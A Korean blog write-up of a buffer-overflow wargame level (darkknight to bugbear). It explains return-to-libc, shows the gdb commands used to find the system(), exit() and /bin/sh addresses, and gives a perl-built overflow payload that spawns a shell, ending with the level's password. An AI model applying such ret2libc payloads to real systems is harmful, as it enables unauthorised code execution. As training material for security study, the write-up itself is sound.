심심해서 하는 블로그 :: [버퍼 오버플로우] Bof 원정대 (darkknight -> bugbear)

1. 취약점


스택의 배신

하나씩 하나씩 새로운 공격기법이 나오기 시작한다. 앞의 레벨은 그냥 맛보기였어 ㅠㅠ

이번엔 스택의 Return Address에 "\xbf"로 시작하면 안된다고 한다. 그리고 문제위에 나와 있는 RTL

함수 스택으로 리턴하는 방식이 아닌 라이브러리로 리턴을 하는 방식이다.


RTL(Return To Library)

그 동안 BOF 원정을 다니면서 주된 공격방식은 함수 스택 내에 쉘코드를 주입하고 Return Address를 조작하여 해당 쉘코드로 이동하게 하여 공격하는 방식을 이용하였다. 이것의 대안으로 나온 Non-executable Stack 등을 우회하기 위한 공격으로 메모리에 상주하고 있는 공유 라이브러리를 이용하여 Return Address를 공유라이브러리의 함수로 덮어버리는 공격으로 쉘코드가 필요 없는 공격 기법이다. 따라서 공격을 성공시키기 위해서 공유 라이브러리 내의 system()함수와 /bin/sh의 주소를 알고 있어야 한다. 


2. Exploit


1. bash2를 사용하고 파일 복사, 컴파일, 디버깅을 수행한다.

$ bash2

$ cp ./bugbear.c /tmp/bugbear.c && cd /tmp

$ gcc -g -o bugbear ./bugbear.c

$ gdb -q ./bugbear


2. 중단점은 처음으로 설정한다. 우리가 알고자 하는것은 system()의 주소이다.

(gdb) b *main+3

(gdb) r 

(gdb) print system

(gdb) print exit



system()의 주소 0x40058ae0 ,exit()의 주소 0x400391e0


3. /bin/sh의 주소를 찾는 소스코드를 작성한다.

$ vi sh_find.c

$ gcc -o sh_find sh_find.c && ./sh_find


/bin/sh의 주소 0x400fbff9


4. 즐거운 괴롭힘 시간~

$ cd ~

$ ./bugbear `perl -e 'print "A"x44, "\xe0\x8a\x05\x40", "\xe0\x91\x03\x40", "\xf9\xbf\x0f\x40"'`

system() 함수는 ebp+8 지점의 값을 읽어와서 수행을 한다. 따라서 ebp+8 지점에 /bin/sh가 존재하여야한다.

그리고 system()함수가 수행한 후 정상적인 종료를 수행하기 위해 /bin/sh 와 system() 사이에 exit()를 둔다.

그럼 함수가 정상적으로 종료된다. 없어도 결과를 산출하는데는 문제가 없지만 Segmentation Fault가 거슬린다면 해두는게 좋다.


6. 결과

id :  bugbear   passwd : new divide


 

,